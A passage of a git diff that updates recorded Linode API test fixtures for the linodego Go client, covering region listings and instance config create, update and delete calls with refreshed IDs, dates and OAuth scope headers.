"jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:18 GMT + - Fri, 31 May 2024 18:19:21 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-6s9u83bo9f1e","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-1oaq64952wxf","firewall_id":501582,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933558, "label": "go-test-ins-wo-disk-6s9u83bo9f1e", "group": + body: '{"id": 59544186, "label": "go-test-ins-wo-disk-1oaq64952wxf", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["45.79.125.171"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["45.79.122.189"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "055765a37008ceb607a77e652fa584515bbac9e1", "has_user_data": false}' + "2e178642a58dc717a260fc2f07a0f9ebec105e2b", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "737" + - "761" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:18 GMT + - Fri, 31 May 2024 18:19:21 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-d49fy22sr8k6","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-585r7md8dg1u","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -330,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933558/configs + url: https://api.linode.com/v4beta/linode/instances/59544186/configs method: POST response: - body: '{"id": 58037975, "label": "go-test-conf-d49fy22sr8k6", "helpers": {"updatedb_disabled": + body: '{"id": 62730823, "label": "go-test-conf-585r7md8dg1u", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -362,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:19 GMT + - Fri, 31 May 2024 18:19:22 GMT Pragma: - no-cache Strict-Transport-Security: @@ -377,7 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -386,7 +440,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-conf-test-1lp3r2kwc056","comments":"","devices":{},"interfaces":null,"memory_limit":0,"init_rd":null,"root_device":"/dev/root"}' + body: '{"label":"go-conf-test-xi3b9we8681h","comments":"","devices":{},"interfaces":null,"memory_limit":0,"init_rd":null,"root_device":"/dev/root"}' form: {} headers: Accept: @@ -395,10 +449,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933558/configs/58037975 + url: https://api.linode.com/v4beta/linode/instances/59544186/configs/62730823 method: PUT response: - body: '{"id": 58037975, "label": "go-conf-test-1lp3r2kwc056", "helpers": {"updatedb_disabled": + body: '{"id": 62730823, "label": "go-conf-test-xi3b9we8681h", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/root", @@ -427,7 +481,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:19 GMT + - Fri, 31 May 2024 18:19:22 GMT Pragma: - no-cache Strict-Transport-Security: @@ -442,7 +496,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -460,7 +517,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933558 + url: https://api.linode.com/v4beta/linode/instances/59544186 method: DELETE response: body: '{}' @@ -486,7 +543,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:20 GMT + - Fri, 31 May 2024 18:19:22 GMT Pragma: - no-cache Strict-Transport-Security: @@ -501,7 +558,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_Configs_List.yaml b/test/integration/fixtures/TestInstance_Configs_List.yaml index cf73cdd8a..9de901a5f 100644 --- a/test/integration/fixtures/TestInstance_Configs_List.yaml +++ b/test/integration/fixtures/TestInstance_Configs_List.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 